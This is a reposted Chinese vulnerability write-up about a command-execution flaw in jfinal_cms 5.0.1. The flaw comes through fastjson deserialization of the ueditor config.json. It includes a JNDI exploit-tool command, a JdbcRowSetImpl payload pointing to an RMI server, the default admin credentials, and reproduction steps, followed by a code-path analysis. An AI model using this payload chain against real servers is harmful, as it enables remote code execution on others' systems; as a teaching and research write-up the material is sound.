我的编程空间,编程开发者的网络收藏夹
学习永远不晚

Jfinal CMS命令注入漏洞

短信预约 -IT技能 免费直播动态提醒
省份

北京

  • 北京
  • 上海
  • 天津
  • 重庆
  • 河北
  • 山东
  • 辽宁
  • 黑龙江
  • 吉林
  • 甘肃
  • 青海
  • 河南
  • 江苏
  • 湖北
  • 湖南
  • 江西
  • 浙江
  • 广东
  • 云南
  • 福建
  • 海南
  • 山西
  • 四川
  • 陕西
  • 贵州
  • 安徽
  • 广西
  • 内蒙
  • 西藏
  • 新疆
  • 宁夏
  • 兵团
手机号立即预约

请填写图片验证码后获取短信验证码

看不清楚,换张图片

免费获取短信验证码

Jfinal CMS命令注入漏洞

漏洞环境

jfinal_cms 5.0.1 中存在命令执行漏洞

JDK 版本要求:

  • 基于 RMI<=6u141、7u131、8u121 使用的 JDK 版本
  • 基于 LDAP<=6u211、7u201、8u191 使用的 JDK 版本。

jfinal_cms版本:5.0.1
fastjson版本:1.2.28

漏洞复用

测试中使用的JDK版本:JDK8u101

在 kali 上运行该工具,启动 rmi 和 ldap 服务
https://github.com/feihong-cs/JNDIExploit

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc.exe"

2022-11-17T12:30:22.png
替换payload中的rmi或ldap地址,然后保存到config.json

{    "a":{        "@type":"java.lang.Class",        "val":"com.sun.rowset.JdbcRowSetImpl"    },    "b":{        "@type":"com.sun.rowset.JdbcRowSetImpl",        "dataSourceName":"rmi://192.168.248.128:1099/6dxg2x",        "autoCommit":true    }}

登录后台,找到模板管理,后台默认账号密码admin/admin123456
2022-11-17T12:33:58.png
找到config.json并点击,之后点replace file
2022-11-17T12:35:10.png
把刚才做好的payload上传
2022-11-17T12:35:33.png
访问 /ueditor,就会执行命令并弹出计算器

http://localhost:8080/jfinal_cms/ueditor

136699966-b0b2294c-cdf1-4145-9340-cc0885a7e73d.gif
利用成功,散会!

漏洞分析

com.jflyfox.component.controller.Ueditor
ActionEnter类在/ueditor路由的index方法中实例化
2022-11-17T12:38:14.png
com.baidu.ueditor.ActionEnter

ActionEnter类的构造方法中实例化
2022-11-17T12:39:52.png

com.baidu.ueditor.ConfigManager

ConfigManager调用的构造方法initEnv()
2022-11-17T12:40:25.png

com.baidu.ueditor.ConfigManager

initEnv调用JSONObject.parseObject来解析文件内容,这里的文件内容是可控的,只需将文件内容替换为payload即可
2022-11-17T12:41:17.png

com.baidu.ueditor.ConfigManager

如果后台存在任何文件上传漏洞,则可以将此文件替换为包含payload的文件,以触发 fastjson 反序列化WEB-INF/classes/config.json
2022-11-17T12:42:01.png
2022-11-17T12:42:09.png

来源地址:https://blog.csdn.net/MoLeft/article/details/128393531

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

Jfinal CMS命令注入漏洞

下载Word文档到电脑,方便收藏和打印~

下载Word文档

猜你喜欢

2023-09-02

深入浅析ImageMagick命令执行漏洞

00 前言 什么是ImageMagick? ImageMagick是一个功能强大的开源图形处理软件,可以用来读、写和处理超过90种的图片文件,包括流行的JPEG、GIF、 PNG、PDF以及PhotoCD等格式。使用它可以对图片进行切割、旋
2022-06-04

Nexus Repository Manager 2.x 命令注入漏洞 (CVE-2019-5475) 两次绕过

作者: Badcode and Longofo@知道创宇404实验室 时间: 2020年2月9日原文链接:https://paper.seebug.org/1260/ 英文链接:https://paper.seebug.org/1261/前
2023-06-04

sql注入漏洞怎么修

可以通过以下方法修复 sql 注入漏洞:1. 参数化查询;2. 输入验证和清理;3. 使用安全 api;4. 限制数据库权限;5. 保持软件更新;6. 使用 web 应用程序防火墙 (waf);7. 培训意识。SQL 注入漏洞修复方法SQ
sql注入漏洞怎么修
2024-05-30

Node.js中安全调用系统命令的方法(避免注入安全漏洞)

在这篇文章中,我们将学习正确使用Node.js调用系统命令的方法,以避免常见的命令行注入漏洞。 我们经常使用的调用命令的方法是最简单的child_process.exec。它有很一个简单的使用模式;通过传入一段字符串命令,并把一个错误或命令
2022-06-04

PHPCMS各种注入漏洞补丁

1、宽字节注入漏洞/phpcms/modules/pay/respond.php 位置约16行原来代码$payment = $this->get_by_code($_GET['code']);替换为$payment = $this->get_by_code(m
PHPCMS各种注入漏洞补丁
2016-04-12

sql注入漏洞怎样防止

为了防止 sql 注入漏洞,组织应采取以下步骤:使用参数化查询替换敏感数据。验证数据输入的格式和字符。限制用户输入的字符列表。转义特殊字符以避免被解释为 sql 命令。使用预编译的存储过程来提高安全性。集成安全框架以保护应用程序。定期更新软
sql注入漏洞怎样防止
2024-06-17

编程热搜